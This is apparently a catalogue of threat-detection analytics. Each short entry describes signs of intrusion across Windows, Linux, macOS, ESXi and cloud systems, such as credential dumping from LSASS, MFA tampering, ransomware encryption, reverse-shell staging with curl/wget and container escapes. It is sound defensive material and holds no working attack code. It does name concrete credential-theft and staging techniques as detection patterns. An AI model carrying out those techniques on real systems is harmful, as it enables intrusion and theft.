Monitors tampering with audit logs, volumes, or mounted storage often used for side-channel logging (e.g., /var/log inside containers) post-compromise.
Current version: 1.0
Description:
Tracks suspicious use of ESXi shell commands or PowerCLI to delete logs, rotate system files, or tamper with hostd/vpxa history.
Current version: 1.0
Description:
Detects deletion or hiding of security-related mail rules, audit mailboxes, or calendar/log sync artifacts indicative of tampering post-intrusion.
Current version: 1.0
Description:
Use of AWS STS or GCP IAM APIs to request temporary tokens or federation sessions inconsistent with normal account activity, including from unexpected principals or regions.
Current version: 1.0
Description:
OAuth or SAML access tokens reused across multiple sessions or clients without corresponding MFA or login activity.
Current version: 1.0
Description:
Application access tokens used to call APIs (e.g., Google Workspace, Salesforce) without interactive logins, often with unusual scopes or elevated permissions.
Current version: 1.0
Description:
OAuth token usage for Exchange Online or SharePoint API access without preceding login or from unauthorized clients.
Current version: 1.0
Description:
Compromised service account tokens mounted inside containers and reused for external API calls or lateral movement across services.
Current version: 1.0
Description:
Automated execution of native utilities and scripts to discover, enumerate, and exfiltrate files and clipboard content. Focus is on detecting repeated file access, scripting engine use, and use of command-line utilities commonly leveraged by collection scripts.
Current version: 1.0
Description:
Repeated or automated access to user document directories or clipboard using shell scripts or utilities like xclip/pbpaste. Detectable via auditd syscall logs or osquery file events.
Current version: 1.0
Description:
Use of pbpaste, AppleScript, or third-party automation frameworks (e.g., Automator) to collect clipboard or file content in bursts. Observable via unified logs.
Current version: 1.0
Description:
Suspicious sign-ins to Graph API or sensitive resources using non-browser scripting agents (e.g., Python, PowerShell), often for programmatic access to mailbox or OneDrive content.
Current version: 1.0
Description:
Detection of attempts to disable or tamper with Windows Event Logging. This includes stopping or disabling the EventLog service, modifying registry keys related to EventLog and Autologger, using auditpol or wevtutil to disable categories or clear audit policies, and detecting suspicious gaps or resets in event logs. Defenders observe registry changes, service state changes, process execution of disabling commands, and anomalies in event record sequences.
Current version: 1.0
Description:
Drive enumeration using PowerShell (Get-PSDrive), wmic logicaldisk, or Win32 API indicative of local volume enumeration by non-admin users or executed outside of baseline system inventory scripts.
Current version: 1.0
Description:
Abnormal use of lsblk, fdisk -l, lshw -class disk, or parted by non-admin users or within non-interactive shells suggests suspicious disk enumeration activity.
Current version: 1.0
Description:
Disk enumeration via diskutil list or system_profiler SPStorageDataType run outside of user login or not associated with system inventory tools
Current version: 1.0
Description:
Use of esxcli storage or vim-cmd vmsvc/getallvms by unusual sessions or through interactive shells unrelated to administrative maintenance tasks.
Current version: 1.0
Description:
Detection of known tools or malware flagged by antivirus, followed by a near-term drop of a similar binary with modified signature and resumed activity (execution, C2, or persistence).
Current version: 1.0
Description:
Detection of anti-malware quarantining or flagging a tool, followed by a new binary written to disk with a similar function or name and a resumed process chain.
Current version: 1.0
Description:
Detection of XProtect or AV quarantining a known tool, followed by modification (file size, hash, string) and subsequent re-execution by the same or related user.
Current version: 1.0
Description:
Detects registry and Group Policy modifications that disable or weaken MFA, suspicious PowerShell usage modifying MFA-related attributes, and anomalous login sessions succeeding without expected MFA challenge.
Current version: 1.0
Description:
Detects conditional access policy changes, exclusion of accounts from MFA enforcement, or registration of new MFA factors by non-admin or anomalous users.
Current version: 1.0
Description:
Detects API calls to cloud secrets/MFA configurations where MFA enforcement policies are disabled or bypassed.
Current version: 1.0
Description:
Detects PAM module modifications or removal of MFA hooks in /etc/pam.d/ configurations, correlated with successful authentications lacking MFA prompts.
Current version: 1.0
Description:
Detects modifications to authorization plugins responsible for MFA enforcement and correlates with suspicious login sessions missing MFA prompts.
Current version: 1.0
Description:
Detects suspicious MFA method changes, such as registration of weaker factors (e.g., SMS), or removal of MFA requirements for specific accounts or groups.
Current version: 1.0
Description:
Detects MFA bypass attempts by modifying tenant-wide authentication policies or excluding high-value accounts from MFA enforcement.
Current version: 1.0
Description:
Abuse of ClickOnce applications where rundll32.exe invokes dfshim.dll with ShOpenVerbApplication or dfsvc.exe spawns unexpected child processes or loads unsigned modules.
Current version: 1.0
Description:
Suspicious creation or modification of inbox rules through PowerShell (New-InboxRule, Set-InboxRule) to automatically delete, move, or hide emails. Defender perspective: unusual rule activity correlated with mailbox access and filtering patterns.
Current version: 1.0
Description:
Alterations to plist configuration files (RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, MessageRules.plist) that define email hiding or filtering rules. Defender perspective: unexpected changes in these files associated with Mail.app processes.
Current version: 1.0
Description:
Rule manipulation through local email clients (e.g., Evolution, Thunderbird) or server-side filtering scripts (e.g., sieve) creating conditions to move or discard emails with security-related keywords.
Current version: 1.0
Description:
Suspicious rule creation within Outlook or Exchange clients, including auto-move or delete conditions tied to incident or security alert keywords. Defender perspective: correlation between missing inbound emails and newly added mailbox rules.
Current version: 1.0
Description:
Identify unauthorized creation, deletion, or modification of business-critical stored data such as Office documents, database files, and log archives. Detect anomalous processes modifying stored data outside of expected workflows (e.g., non-database processes modifying database files).
Current version: 1.0
Description:
Detect suspicious file creation, modification, or deletion in stored data directories (e.g., /var/lib/mysql/, /var/log/, mail spools). Identify shell commands interacting directly with structured data files instead of legitimate database utilities.
Current version: 1.0
Description:
Monitor sensitive data files such as plist-based storage, mail archives, or Office files for unexpected modifications. Detect anomalous processes modifying stored data outside expected update cycles using FSEvents and Unified Logs.
Current version: 1.0
Description:
Execution of control.exe or rundll32.exe with parameters pointing to CPL files, especially from non-standard directories or newly created files, followed by suspicious child process execution or registry modifications registering new Control Panel items.
Current version: 1.0
Description:
Execution of built-in tools (e.g., ipconfig, route, netsh) or PowerShell/WMI queries to enumerate IP, MAC, interface status, or routing configuration.
Current version: 1.0
Description:
Execution of ifconfig, ip a, or access to /proc/net/ indicating collection of local interface and route configuration.
Current version: 1.0
Description:
Execution of ifconfig, networksetup, or system_profiler to query IP/MAC/interface configuration and status.
Current version: 1.0
Description:
Use of esxcli network commands (e.g., esxcli network nic list, esxcli network ip interface ipv4 get) via SSH or hostd to enumerate adapter and IP information.
Current version: 1.0
Description:
CLI-based execution of interface and routing discovery commands (e.g., show ip interface, show arp, show route) over Telnet, SSH, or console.
Current version: 1.0
Description:
Suspicious outbound HTTPS connections where the TLS Server Name Indication (SNI) does not match the HTTP Host header, indicating potential use of domain fronting to mask C2 traffic via CDNs.
Current version: 1.0
Description:
Applications such as curl, wget, or custom binaries initiate HTTPS connections where the TLS SNI is mismatched or absent while HTTP Host targets CDN-available C2 endpoints.
Current version: 1.0
Description:
Unsigned or user-space apps initiate TLS connections with one hostname and HTTP headers requesting a different domain, commonly abused in CDN-resident domain fronting techniques.
Current version: 1.0
Description:
Traffic originating from ESXi hosts or management interfaces displays SNI-to-Host mismatch behavior, particularly anomalous given typical infrastructure communication patterns.
Current version: 1.0
Description:
A non-standard process (or script-hosted process) loads camera/video-capture libraries (e.g., avicap32.dll, mf.dll, ksproxy.ax), opens the Camera Frame Server/device, writes video/image artifacts (e.g., .mp4/.avi/.yuv) to unusual locations, and optionally initiates outbound transfer shortly after.
Current version: 1.0
Description:
A process opens/reads /dev/video* (V4L2), performs ioctl/read loops, writes large/continuous video artifacts to disk, and/or quickly establishes outbound connections for exfiltration.
Current version: 1.0
Description:
A non-whitelisted process receives TCC camera entitlement (kTCCServiceCamera), opens AppleCamera/AVFoundation device handles, writes .mov/.mp4 artifacts to unusual locations, and/or beacons/exfiltrates soon after.
Current version: 1.0
Description:
Detection correlates anomalous Docker or Kubernetes API requests with access to logs, secrets, or service accounts. Observes unauthorized use of docker logs, kubectl get secrets, or direct API calls to Kubernetes API server endpoints. Identifies behavioral patterns where adversaries escalate from basic pod/container interaction to privileged API calls exposing sensitive credential material.
Current version: 1.0
Description:
Monitor for execution of hypervisor management commands such as esxcli vm process list or vim-cmd vmsvc/getallvms that enumerate virtual machines. Defenders observe unexpected users issuing VM listing commands outside normal administrative workflows.
Current version: 1.0
Description:
Detects attempts to enumerate VMs via hypervisor tools like virsh, VBoxManage, or qemu-img. Defender correlates suspicious command invocations with parent process lineage and unexpected users.
Current version: 1.0
Description:
Detects enumeration of VMs using PowerShell (Get-VM), VMware Workstation (vmrun.exe), or Hyper-V (VBoxManage.exe). Defender observes suspicious command lines executed by unexpected users or outside normal administrative sessions.
Current version: 1.0
Description:
Detects VM enumeration attempts using virtualization utilities such as VirtualBox (VBoxManage) or Parallels CLI. Defender observes abnormal invocation of VM listing commands correlated with non-admin users or unusual parent processes.
Current version: 1.0
Description:
Cause→effect chain: (1) A user or service launches an indirection utility (e.g., forfiles.exe, pcalua.exe, wsl.exe, scriptrunner.exe, ssh.exe with -o ProxyCommand/LocalCommand). (2) That utility spawns a secondary program/command (PowerShell, cmd, msiexec, regsvr32, curl, arbitrary EXE) and/or opens outbound network connections. (3) Optional precursor modification of SSH config to persist LocalCommand/ProxyCommand. Correlate process creation, command/script content, file access to %USERPROFILE%.ssh\config, and network connections from the utility or its child.
Current version: 1.0
Description:
DLL hijacking behaviors including unexpected DLL loads from non-standard directories, replacement of DLLs, phantom DLL insertion, redirection file creation, and substitution of legitimate DLLs. Defender correlates file system modifications, registry changes, and module load telemetry to detect abnormal DLL behavior in trusted processes.
Current version: 1.0
Description:
Detects interactive or scripted abuse of cmd.exe, batch files, or shell invocation chains. Focuses on parent-child relationships (e.g., cmd.exe launched from unusual parents), anomalous command-line parameters, and chaining with discovery, credential access, or lateral movement behaviors.
Current version: 1.0
Description:
Detects ptrace-based process injection by correlating audit logs of ptrace syscalls, memory modifications (e.g., poketext, pokedata), and suspicious register manipulation on a target process not normally debugged by the originator. Alerts on processes attempting to ptrace non-child or privileged processes, especially those followed by abnormal memory or execution behavior.
Current version: 1.0
Description:
Detects suspicious registry modifications under HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\*\Driver, DLL loads by spoolsv.exe of non-standard or unsigned modules, and abnormal usage of the AddMonitor API by non-installation processes. This pattern often indicates an attempt to persist a malicious DLL via the print monitor mechanism, particularly when correlated with creation of files in C:\Windows\System32 not tied to known patches or installations.
Current version: 1.0
Description:
Execution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll).
Current version: 1.0
Description:
Detects abuse of container orchestration platforms (e.g., Kubernetes) where adversaries create CronJobs to maintain persistence or execute malicious Jobs across the cluster.
Current version: 1.0
Description:
Registry modification of the LSA Authentication Packages key followed by LSASS loading a non-standard or unsigned DLL. This includes unusual write access to HKLM\SYSTEM\CurrentControlSet\Control\Lsa, especially during non-installation timeframes. Correlated with lsass.exe loading DLLs not present in baseline or lacking valid signatures.
Current version: 1.0
Description:
Excessive resource exhaustion or service crash induced by processes launched by users or scripts that rapidly consume CPU/memory or attempt malformed service interactions.
Current version: 1.0
Description:
Malicious script or binary causes repeated kernel panics, OOM kills, or systemd service restarts targeting services like nginx, httpd, sshd.
Current version: 1.0
Description:
Adversary launches high-entropy process or malformed app bundle causing repeated application crashes and system slowdowns.
Current version: 1.0
Description:
Instance enters degraded/unhealthy state due to abnormal process load or memory exhaustion, often caused by automation or script-based attacks.
Current version: 1.0
Description:
Container orchestrator logs show crashlooping pods, repeated resource exhaustion, or malicious binaries with infinite loops consuming systemd/cgroup limits.
Current version: 1.0
Description:
Registry read access associated with suspicious or non-interactive processes querying system config, installed software, or security settings.
Current version: 1.0
Description:
Detection of suspicious logon behavior using valid domain accounts across multiple hosts, off-hours, or simultaneous sessions from geographically distant locations.
Current version: 1.0
Description:
Use of domain accounts via sssd or winbind for logon activity outside of typical patterns, especially on sensitive systems or with lateral movement tools.
Current version: 1.0
Description:
Domain logins using network accounts or mobile accounts via Open Directory or Active Directory plugins, especially outside business hours or on atypical endpoints.
Current version: 1.0
Description:
Login to vSphere or ESXi hosts using domain accounts, especially those associated with vpxuser or unexpected group memberships.
Current version: 1.0
Description:
Direct login to cloud-hosted virtual machines via cloud-native access methods (e.g., EC2 Instance Connect, Azure Serial Console, SSM), followed by command execution or privilege escalation on the VM
Current version: 1.0
Description:
Adversary modifies or replaces the Terminal Services DLL (termsrv.dll) or changes the associated ServiceDll Registry value to load an arbitrary or patched DLL that enables persistent and enhanced RDP access. This may include binary replacement, registry tampering, and unexpected module loads by the svchost.exe -k termsvcs process.
Current version: 1.0
Description:
Adversary uses a process to establish outbound connections that transmit uniform packet sizes at a consistent interval, avoiding threshold-based network alerts.
Current version: 1.0
Description:
Outbound connections from non-network-facing processes repeatedly send similarly sized payloads within uniform time intervals.
Current version: 1.0
Description:
Processes on macOS initiate external connections that consistently transmit data in fixed sizes using LaunchAgents or unexpected users.
Current version: 1.0
Description:
Detection of executables or scripts containing hidden embedded resources or secondary payloads, often with anomalies in file size vs. functionality or dropped child binaries.
Current version: 1.0
Description:
Detection of shell scripts, ELF binaries, or archives containing embedded secondary payloads, self-extracting components, or unusual compression behavior during runtime.
Current version: 1.0
Description:
Detection of Mach-O binaries or AppleScripts that contain nested, encoded, or run-only embedded payloads dropped at runtime.
Current version: 1.0
Description:
High-frequency file write operations using uncommon extensions, followed by ransom note creation, registry tampering, or shadow copy deletion. Often uses CLI tools like vssadmin, wbadmin, cipher, or PowerShell.
Current version: 1.0
Description:
Encryption via custom or open-source tools (e.g., openssl, gpg, aescrypt) recursively targeting user or system directories. Also includes overwrite of existing data and ransom note drops.
Current version: 1.0
Description:
Userland or kernel-level ransomware encrypting user files (Documents, Desktop) using srm, gpg, or compiled payloads. Often correlated with ransom note creation in multiple directories.
Current version: 1.0
Description:
Ransomware encrypts .vmdk, .vmx, .log, or VM config files in VMFS datastores. May rename to .locked or delete/overwrite with encrypted versions. Often correlates with shell commands run through dcui, SSH, or vSphere.
Current version: 1.0
Description:
Encryption of cloud storage objects (e.g., S3 buckets) via Server-Side Encryption (SSE-C) or by replacing objects with encrypted variants. May include API patterns like PutObject with SSE-C headers.
Current version: 1.0
Description:
Detection focuses on unauthorized modification of Mach-O binaries to include LC_LOAD_DYLIB headers pointing to malicious dylibs. Behavior is identified via a chain of file metadata changes, removal of code signatures, and subsequent anomalous dylib loads at runtime. Correlation of file changes with lack of authorized updates and process memory mapping of unrecognized or unsigned libraries is crucial.
Current version: 1.0
Description:
Detects adversary manipulation of Extra Window Memory (EWM) in a GUI process, where the attacker uses SetWindowLong or SetClassLong to redirect function pointers to injected shellcode stored in shared memory, then triggers execution via a window message like SendNotifyMessage.
Current version: 1.0
Description:
Unusual modifications to service binary paths, registry keys, or DLL load paths resulting in alternate execution flow. Defender observes registry key modifications, suspicious file writes into system directories, and processes loading libraries from abnormal paths.
Current version: 1.0
Description:
Adversary manipulation of shared library paths, environment variables, or replacement of service binaries. Defender observes suspicious modifications in /etc/ld.so.preload, service config changes, or file writes replacing existing executables.
Current version: 1.0
Description:
Abuse of DYLD_INSERT_LIBRARIES or hijacking framework paths for malicious libraries. Defender observes processes invoking abnormal dylibs, modified plist files, or persistence entries pointing to altered binaries.
Current version: 1.0
Description:
Detection of container escape attempts via bind mounts, privileged containers, or abuse of docker.sock. Defenders may observe anomalous volume mount configurations (e.g., hostPath to / or /proc), unexpected privileged container launches, or use of container administration commands to access host resources. These events typically correlate with subsequent process execution on the host outside of normal container isolation.
Current version: 1.0
Description:
Detection of Linux container escape attempts via syscalls (unshare, keyctl, mount) or process execution outside container namespaces. Defenders may correlate unusual system calls from containerized processes with subsequent process creation on the host or modification of host resources.
Current version: 1.0
Description:
Detection of Windows container escape attempts by observing processes accessing host directories, symbolic link abuse, or privilege escalation attempts. Defenders may detect anomalous process execution with access to system-level directories outside of container boundaries.
Current version: 1.0
Description:
Detection of ESXi escape attempts by monitoring for anomalies in hypervisor logs such as unexpected VM operations, privilege escalation events, or attempts to load malicious kernel modules within the hypervisor environment.
Current version: 1.0
Description:
Detects USB device insertion followed by high-volume or sensitive file access and staging activity by suspicious processes or accounts.
Current version: 1.0
Description:
Detects USB block device mount followed by file access in sensitive directories or high-volume copy operations by user-controlled processes.
Current version: 1.0
Description:
Detects external volume mount with Finder, Terminal, or script-initiated file copy from user profiles, sensitive folders, or cloud storage sync directories to USB.
Current version: 1.0
Description:
Unusual or unauthorized processes accessing microphone APIs (e.g., winmm.dll, avrt.dll) followed by audio file writes to user-accessible or temp directories.
Current version: 1.0
Description:
Processes accessing ALSA/PulseAudio devices or executing audio capture binaries like 'arecord', followed by file creation or suspicious child process spawning.
Current version: 1.0
Description:
Processes invoking AVFoundation or CoreAudio frameworks, accessing input devices via TCC logs or Unified Logs, followed by writing AIFF/WAV/MP3 files to disk.
Current version: 1.0
Description:
Abuse of mmc.exe to execute non-Microsoft or user-staged .msc files and malicious COM CLSIDs. Behavioral chain: (1) suspicious mmc.exe invocation with /a or -Embedding and non-standard .msc path → (2) COM activation of non-baseline CLSIDs by mmc.exe → (3) mmc.exe loads non-baseline DLLs (user-writable/UNC/unsigned) → (4) optional network/DNS activity from mmc.exe.
Current version: 1.0
Description:
Detects SCCM, Intune, or remote push execution spawning scripts or binaries from SYSTEM context or unusual consoles (e.g., cmtrace.exe launching PowerShell or cmd.exe).
Current version: 1.0
Description:
Detects remote scripts or binaries deployed via Puppet, Chef, Ansible, or shell scripts from orchestration servers executing outside maintenance windows or in unmanaged nodes.
Current version: 1.0
Description:
Detects script or binary execution initiated via JAMF, Munki, or custom MDM agents outside of baseline, or JAMF launching new Terminal or osascript processes from remote command payloads.
Current version: 1.0
Description:
Detects cloud-native software deployment or management (e.g., SSM Run Command, Intune) initiating script execution on endpoints outside expected org IDs, admin groups, or maintenance windows.
Current version: 1.0
Description:
Detects central router or switch config management tools (e.g., FortiManager, Cisco Prime) triggering device reboots or config pushes using abnormal accounts or IPs.
Current version: 1.0
Description:
Detects anomalous use of COM objects for execution, such as Office applications spawning scripting engines, enumeration of COM interfaces via registry queries, or processes loading atypical DLLs through COM activation. Correlates process creation, module loads, and registry queries to flag suspicious COM-based code execution or persistence.
Current version: 1.0
Description:
Unauthorized creation or modification of DLLs loaded by LSASS, abnormal registry values under LSA extensions, and anomalous DLL load activity into the lsass.exe process context—correlated during boot or logon events.
Current version: 1.0
Description:
Detects behavior where files with non-executable or misleading extensions (e.g., .jpg, .txt) are created or modified but subsequently executed as binaries based on internal file headers or abnormal parent process lineage. This includes identifying polyglot files or malformed magic bytes indicative of masquerading attempts.
Current version: 1.0
Description:
Detects when a script or binary is named with misleading or benign-looking extensions (.jpg, .doc) and is then executed via command line or a scheduled task. Includes ELF header mismatches and content-type inconsistencies on disk.
Current version: 1.0
Description:
Detects binaries disguised as media or document types through extension-only masquerading or by modifying the file signature. Observes execution of files whose extension is not typically executable (.jpg, .txt), yet have valid Mach-O headers or execute via Terminal or launch services.
Current version: 1.0
Description:
Processes initiating outbound connections on uncommon ports or using protocols inconsistent with the assigned port. Correlating process creation with subsequent network connections reveals anomalies such as svchost.exe or Office applications using high, atypical ports.
Current version: 1.0
Description:
Unusual daemons or user processes binding/listening on ports outside of standard ranges, or initiating client connections using mismatched protocol/port pairings.
Current version: 1.0
Description:
Applications making outbound connections on non-standard ports or launchd services bound to ports inconsistent with system baselines.
Current version: 1.0
Description:
VM services or management daemons communicating on ports not defined by VMware defaults, such as vpxa or hostd processes initiating traffic over high-numbered or unexpected ports.
Current version: 1.0
Description:
Initial process initiates outbound connection to first-stage C2, receives payloads or commands, then spawns or injects into a second process that establishes a new outbound connection to an unrelated destination (second-stage C2).
Current version: 1.0
Description:
Shell script or binary initiates curl/wget request to staging domain, writes output to disk or memory, and shortly afterward launches another process that establishes new outbound connection to a different IP or hostname.
Current version: 1.0
Description:
Initial process using NSURLSession or similar APIs reaches out to known staging domains, followed by creation of a reverse shell or RAT connecting to a second unrelated server.
Current version: 1.0
Description:
CLI-based or API-based network call from the hypervisor to external staging host, shortly followed by a connection to a second external IP by a spawned process or scheduled task.
Current version: 1.0
Description:
Enumeration of global address lists or email account metadata via PowerShell cmdlets (e.g., Get-GlobalAddressList) or MAPI/RPC from non-admin, non-mailserver systems.
Current version: 1.0
Description:
Suspicious querying of organization-wide directory data via Google Workspace Directory API or Outlook GAL sync in high volume from abnormal users, service accounts, or unknown device contexts.
Current version: 1.0
Description:
Detects execution of binaries signed with unusual or recently issued certificates, correlation of process execution with abnormal publisher metadata, and mismatched certificate chains. Monitors for revoked or unknown code signing certificates used in high-privilege contexts.
Current version: 1.0
Description:
Monitors Gatekeeper, spctl, and unified log entries for binaries executed with unexpected or untrusted signatures. Correlates file metadata changes with process launches where signature validation is skipped, altered, or fails but the process still executes.
Current version: 1.0
Description:
Detects adversarial abuse of systemd timers by correlating file creation/modification of .timer and .service units in system directories with the execution of abnormal child processes launched by 'systemd' (PID 1), especially as root.
Current version: 1.0
Description:
Detects anomalous usage of ESXi Guest Operations APIs such as StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, or InitiateFileTransferFromGuest. Defender perspective focuses on unusual frequency of guest API calls, invocation from unexpected management accounts, or execution outside of business hours. These correlated signals indicate adversarial abuse of ESXi administrative services to run commands on guest VMs.
Current version: 1.0
Description:
Defenders may observe adversary attempts to collect or export full device configurations by detecting unusual SNMP queries, Smart Install (SMI) activity, or CLI/API commands that request running or startup configuration dumps. Correlated behaviors include high-volume read requests for sensitive OIDs, repeated use of 'show running-config' or equivalent commands from untrusted IPs, or unexpected TFTP/SCP/FTP transfers containing configuration files. These behaviors often appear in sequence: anomalous authentication or privilege escalation, followed by bulk configuration retrieval and outbound transfer.
Current version: 1.0
Description:
Processes accessing LSASS memory or SAM registry hives outside of trusted security tools, often followed by file creation or lateral movement. Detects unauthorized access to sensitive OS subsystems for credential extraction.
Current version: 1.0
Description:
Processes opening /proc//mem or /proc//maps targeting credential-storing services like sshd or login. Behavior often includes high privilege escalation and memory inspection tools such as gcore or gdb.
Current version: 1.0
Description:
Unsigned processes accessing system memory or launching known credential scraping tools (e.g., osascript, dylib injections) to access the Keychain or sensitive memory regions.
Current version: 1.0
Description:
Detect the creation or modification of common media file formats (e.g., .jpg, .png, .wav) following suspicious process activity like compression or encryption, especially when paired with lateral movement or exfiltration behavior.
Current version: 1.0
Description:
Unusual use of steganographic or media processing binaries (e.g., steghide, ffmpeg, imagemagick) followed by outbound communication to external IPs with high data output and media MIME types.
Current version: 1.0
Description:
Abnormal usage of Preview, ImageMagick, or binary editors to alter images/documents, followed by exfiltration or outbound connections with mismatched file MIME types or payload structure.
Current version: 1.0
Description:
Suspicious modification of file artifacts (e.g., logs, ISO templates) on ESXi datastores, followed by beaconing or POST operations to external IPs potentially hiding payloads in file-like traffic.
Current version: 1.0
Description:
Detection of spearphishing attachments by correlating suspicious email delivery with subsequent file creation and abnormal process execution (e.g., Office spawning PowerShell or CMD). Behavior chain includes inbound email metadata → attachment stored on disk → process execution → outbound network activity.
Current version: 1.0
Description:
Phishing attachments executed on Linux systems are detected by linking email logs to file creation in mail directories and subsequent suspicious process execution. Look for unexpected binaries or scripts spawned from user mail directories and anomalous outbound network activity.
Current version: 1.0
Description:
Phishing attachment detection on macOS through correlation of Mail app logs, file creation in user directories, and abnormal process execution (e.g., Preview.app or Mail.app spawning Terminal or scripting binaries). Network traffic after attachment interaction is also monitored.
Current version: 1.0
Description:
Detection of modified or newly created /etc/rc.local or /etc/init.d scripts followed by suspicious execution during system startup.
Current version: 1.0
Description:
Detection of edits or additions to /etc/rc.common, /Library/StartupItems, or /System/Library/StartupItems and associated script execution during login or reboot.
Current version: 1.0
Description:
Detection of changes to /etc/rc.local.d/local.sh or rc.local during post-boot script execution with abnormal commands or additions.
Current version: 1.0
Description:
Detection of modified boot-time configuration scripts that persist malicious CLI commands across reboots.
Current version: 1.0
Description:
Adversary modifies website or application-hosted content via unauthorized file changes or script injections, often by exploiting web servers or CMS access.
Current version: 1.0
Description:
Adversary gains shell access or uploads a malicious script to deface hosted web content in Nginx, Apache, or other services.
Current version: 1.0
Description:
Adversary modifies internal or external site content through manipulated application bundles, hosted content, or web server configs.
Current version: 1.0
Description:
Adversary defaces internal VM-hosted portals or web UIs by modifying static content on datastore-mounted paths.
Current version: 1.0
Description:
Adversary uses compromised instance credentials or web application access to deface content hosted in S3 buckets, Azure Blob Storage, or GCP Buckets.
Current version: 1.0
Description:
Correlates registry modifications to EventLog or WMI Autologger keys, suspicious use of Set-EtwTraceProvider, and Sysmon configuration changes. Defender sees interruption or redirection of ETW and log event collection.
Current version: 1.0
Description:
Detects disabling or reconfiguration of syslog or rsyslog services. Monitors sudden stops in logging daemons and suspicious execution of kill or service stop commands targeting syslog processes.
Current version: 1.0
Description:
Detection of tampering with Apple's Unified Logging framework or modification of system log forwarding settings. Defender observes execution of logd-related commands or defaults write to logging preferences.
Current version: 1.0
Description:
Detection of syslog configuration tampering using esxcli system syslog config set or reload. Defender correlates command execution with absence of syslog forwarding activity.
Current version: 1.0
Description:
Monitor for abnormal certificate enrollment and usage activity in Active Directory Certificate Services (AD CS), registry access to certificate storage locations, and unusual process executions that attempt to export or access private keys.
Current version: 1.0
Description:
Monitor for file access to certificate directories, commands invoking OpenSSL or PKCS#12 utilities to export or modify certificates, and processes accessing sensitive key storage paths.
Current version: 1.0
Description:
Monitor for security commands and API calls interacting with the Keychain, as well as file access attempts to stored certificates and private keys in ~/Library/Keychains or /Library/Keychains.
Current version: 1.0
Description:
Monitor for abnormal certificate enrollment events in identity platforms, unexpected use of token-signing certificates, and unusual CA configuration modifications.
Current version: 1.0
Description:
Detects forged Kerberos Silver Tickets by identifying anomalous Kerberos service ticket activity such as malformed fields in logon events, TGS requests without interaction with the KDC, and access attempts using service accounts outside expected hosts/resources. Also monitors suspicious processes accessing LSASS memory for credential dumping.
Current version: 1.0
Description:
Unusual database command-line access (e.g., psql, mysql, mongo) from non-admin users, occurring outside typical automation windows or without known service context. Often followed by data dumps to .sql/.csv files or outbound data transfers. Defender sees CLI tools launched interactively or by unusual parent processes, file writes to dump-like filenames, and external connections shortly after.
Current version: 1.0
Description:
Database client execution (e.g., sqlcmd.exe, isql.exe) by users or from locations not tied to enterprise automation or backups. Often followed by creation of .sql/.bak/.csv files, registry artifacts for ODBC/JDBC drivers, or encrypted ZIPs. Defender sees SQL tools launched by explorer.exe, Powershell, or odd parent processes, plus file writes in user temp locations.
Current version: 1.0
Description:
Execution of Java-based or CLI database tools (e.g., DBeaver, Beekeeper, mysql, psql) from user profiles not tied to dev/admin roles, especially when followed by file writes and cloud sync activity. Defender correlates GUI tool launches, file write events in ~/Downloads or ~/Documents, and outbound API calls to known cloud services.
Current version: 1.0
Description:
Database enumeration and export activity (e.g., SELECT * FROM, SHOW DATABASES) issued via ephemeral VMs, admin APIs, or cloud shell from non-monitoring accounts. Defender correlates audit logs (CloudTrail, GCP Admin, AzureDiagnostics), storage write ops, and cross-region transfers by identities not tied to DB operations.
Current version: 1.0
Description:
Unusual or excessive database/table exports from SaaS database platforms (e.g., Snowflake, Firebase, BigQuery, Airtable) by users or apps not in known analytics or dev groups. Defender observes access patterns outside baseline working hours or with new query templates, and correlates those with audit logs or file downloads.
Current version: 1.0
Description:
Defenders may observe attempts to alter cryptographic settings on network devices that reduce key strength or allowable cipher suites. Suspicious indicators include configuration changes that downgrade encryption algorithms, key length parameters, or the disabling of strong encryption in favor of legacy ciphers. These activities often appear as CLI commands modifying crypto policies, firmware changes affecting crypto libraries, or unexpected updates to key management files. Correlation across device config logs and traffic analysis showing weaker ciphers provides higher confidence of malicious key space reduction.
Current version: 1.0
Description:
Detection of persistent login hooks configured via defaults or plist modifications that result in execution of scripts or binaries at user login, breaking expected parent-child process lineage.
Current version: 1.0
Description:
Monitor call log records from corporate devices for unusual or unauthorized numbers, especially repeated calls to/from known malicious phone numbers. Correlate with subsequent system events (e.g., browser navigation, remote management tool execution).
Current version: 1.0
Description:
Audit VoIP/SIP logs for suspicious outbound calls or call setup messages to unusual endpoints. Correlate with user activity such as browser execution or package installation following the call.
Current version: 1.0
Description:
Monitor Facetime, iMessage, or SIP client logs for anomalous voice call attempts. Link to subsequent user execution events (downloads, RMM installs) triggered post-call.
Current version: 1.0
Description:
Correlate MFA push fatigue or unusual consent grant attempts with call activity where adversaries may have socially engineered the user over voice.
Current version: 1.0
Description:
Behavior chain involving unexpected API calls to capture keyboard input, driver loads for keyloggers, or remote use of smart card authentication via logon sessions not initiated by local user interaction
Current version: 1.0
Description:
Detection of unauthorized keylogger behavior through access to /dev/input, loading kernel modules (e.g., via insmod), or polling user input devices from non-user shells
Current version: 1.0
Description:
Processes accessing TCC-protected input APIs or polling HID services without user interaction, or dynamically loaded keylogging frameworks using accessibility privileges
Current version: 1.0
Description:
Detects creation of cloud instances, services, or resources in normally unused or unsupported regions, especially following initial account access or credential use from known regions. Correlates resource provisioning across regions with absence of historical usage and alerting from standard logging services (e.g., GuardDuty not enabled in that region).
Current version: 1.0
Description:
CONTAINERS (Docker/K8s/containerd): A user pulls an untrusted image from a public/unknown registry and then creates/starts a container from that image. Shortly after start, the container spawns unexpected utilities (e.g., curl/wget/bash/python), or makes outbound network connections atypical for the namespace/workload. The analytic correlates Image Creation/Download → Container Creation → Container Start → Command Execution/Network activity within a short window and with a consistent image digest.
Current version: 1.0
Description:
IAAS (Cloud images/VMs): A new VM/instance is launched from a non-approved or newly-seen image (AMI/GCP Image/Azure Image). On first boot, cloud-init/user-data or embedded agents download code, spawn system utilities, or open outbound C2/mining traffic. The analytic correlates Instance/Image Creation → Instance Start → in-guest Process/Command Execution and/or anomalous network traffic.
Current version: 1.0
Description:
Remote/API driven creation and start of a container whose image is not on an allow‑list (or is tagged latest), executed by a non-admin principal, and/or started with risky runtime attributes (e.g., --privileged, host PID/NET namespaces, sensitive host path mounts, capability adds). Correlates create ➜ start ➜ first network/process actions from that container within a short time window.
Current version: 1.0
Description:
